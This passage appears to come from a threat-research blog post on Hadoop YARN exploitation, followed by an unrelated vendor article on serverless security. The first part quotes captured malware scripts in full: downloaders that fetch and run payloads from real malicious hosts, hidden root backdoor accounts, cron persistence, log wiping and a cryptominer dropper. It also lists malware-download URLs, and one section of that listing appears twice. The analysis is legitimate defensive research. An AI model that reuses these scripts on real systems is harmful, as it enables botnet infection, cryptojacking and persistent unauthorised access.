pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s 185.234.217.11 -j DROP
iptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://r00ts.truthdealmodz.pw/.i 
$ cat .i
#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
http://185.244.25.150/bins/otaku.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
http://185.244.25.163/8x868
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
http://185.244.25.222/x86
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
http://185.244.25.251/x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
http://167.99.51.231/x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86
http://46.17.47.198/bins/kowai.x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86

http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8x868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:

http://185.244.25.153/YSDKOP.x86 
http://68.183.96.48/bins/hoho.x86 
http://cnc.junoland.xyz/x86hua
http://194.147.35.63/bins/Kuran.x86
http://46.29.165.33/bins/kowai.x86 
http://167.88.161.40/bins/mydick 
http://188.138.100.8/ankit/jno.x86
http://67.205.128.131/oxy.x86
http://80.211.94.16/Nurasu.x86_64; 
http://46.36.37.121/weed.sh
http://142.93.152.247/8UsA.sh
</code/>

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

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Application SecurityAttack MitigationDDoS AttacksSecurityWAF

Protecting Applications in a Serverless Architecture

November 8, 2018 — by Ben Zilberman0

Serverless-960x640.jpg

Serverless architectures are revolutionizing the way organizations procure and use enterprise technology. Until recently, information security architecture was relatively simple; you built a fortress around a server containing sensitive data, and deployed security solutions to control the flow of users accessing and leaving that server.

But how do you secure a server-less environment?

The Basics of Serverless Architecture

Serverless architecture is an emerging trend in cloud-hosted environments and refers to applications that significantly depend on third-party services (known as Backend-as-a-Service or “BaaS”) or on custom code that’s run in ephemeral containers (known as Function-as-a-Service or “FaaS”). And it is significantly more cost effective than buying or renting servers.

The rapid adoption of micro-efficiency-based pricing models (a.k.a PPU, or pay-per-use) pushes public cloud providers to introduce a business model that meets this requirement. Serverless computing helps providers optimize that model by dynamically managing the allocation of machine resources. As a result, organizations pay based on the actual amount of resources their applications consume, rather than ponying up for pre-purchased units of workload capacity (which is usually higher than what they utilize in reality).

What’s more, going serverless also frees developers and operators from the burdens of provisioning the cloud workload and infrastructure. There is no need to deploy operating systems and patch them, no need to install and configure web servers, and no need to set up or tune auto-scaling policies and systems.

[You may also like: Application Delivery and Application Security Should be Combined]

Security Implications of Going Serverless

The new serverless model coerces a complete change in architecture – nano services of a lot of software ‘particles.’ The operational unit is set of function containers that execute REST API functions, which are invoked upon a relevant client-side event. These function instances are created, run and then terminated. During their run time, they receive, modify and send information that organizations want to monitor and protect. The protection should be dynamic and swift:

  • There is no perimeter or OS to secure
  • Agents and a persistent footprint become redundant.
  • To optimize the business model, the solution must be scalable and ephemeral automation is the key to success

If we break down our application into components that run in a serverless model, the server that runs the APIs uses different layers of code to parse the requests, essentially enlarging the attack surface. However, this isn’t an enterprise problem anymore; it’s the cloud provider’s. Unfortunately, even they sometimes lag in patch management and hardening workloads. Will your DevOps read all of the cloud provider documentation in details?  Most likely, they’ll go with generic permissions. If you want to do something right, you better do it yourself.

Serverless computing doesn’t eradicate all traditional security concerns. Application-level vulnerabilities can still be exploited—with attacks carried out by human hackers or bots—whether they are inherent in the FaaS infrastructure or in the developer function code.

When using a FaaS model, the lack of local persistent storage encourages data transfer between the function and the different persistent storage services (e.g., S3 and DynamoDB by AWS) instead. Additionally, each function eventually processes data received from storage, the client application or from a different function. Every time it’s moved, it becomes vulnerable to leakage or tampering.

In such an environment, it is impossible to track all potential and actual security events. One can’t follow each function’s operation to prevent it from accessing wrong resources. Visibility and forensics must be automated and perform real time contextual analysis. But the question is not whether to use serverless or not because it is more in/secure. Rather, the question is how to do it when your organization goes there.

[You may also like: Web Application Security in a Digitally Connected World]

A New Approach

Simply put, going serverless requires a completely different security approach—one that is dynamic, elastic, and real-time. The security components must be able to move around at the same pace as the applications, functions and data they protect.

First thing’s first: To help avoid code exploitation (which is what attacks boil down to), use encryption and monitor the function’s activity and data access so it has, by default, minimum permissions. Abnormal function behavior, such as expected access to data or non-reasonable traffic flow, must be analyzed.

Next, consider additional measures, like a web application firewall (WAF), to secure your APIs. While an API gateway can manage authentication and enforce JSON and XML validity checks, not all API gateways support schema and structure validation, nor do they provide full coverage of OWASP top 10 vulnerabilities like a WAF does. WAFs apply dozens of protection measures on both inbound and outbound traffic, which is parsed to detect protocol manipulations. Client-side inputs are validated and thousands of rules are applied to detect various injections attacks, XSS attacks, remote file inclusion, direct object references and many more.

[You may also like: Taking Stock of Application-Layer Security Threats]

In addition to detecting known attacks, for the purposes of zero-day attack protection and comprehensive application security, a high-end WAF allows strict policy enforcement where each function can have its own parameters white listed—the recommended approach when deploying a function processing sensitive data or mission-critical business logic.

And—this is critical—continue to mitigate for DDoS attacks. Going serverless does not eliminate the potential for falling susceptible to these attacks, which have changed dramatically over the past few years. Make no mistake: With the growing online availability of attack tools and services, the pool of possible attacks is larger than ever.

Read “Radware’s 2018 Web Application Security Report” to learn more.

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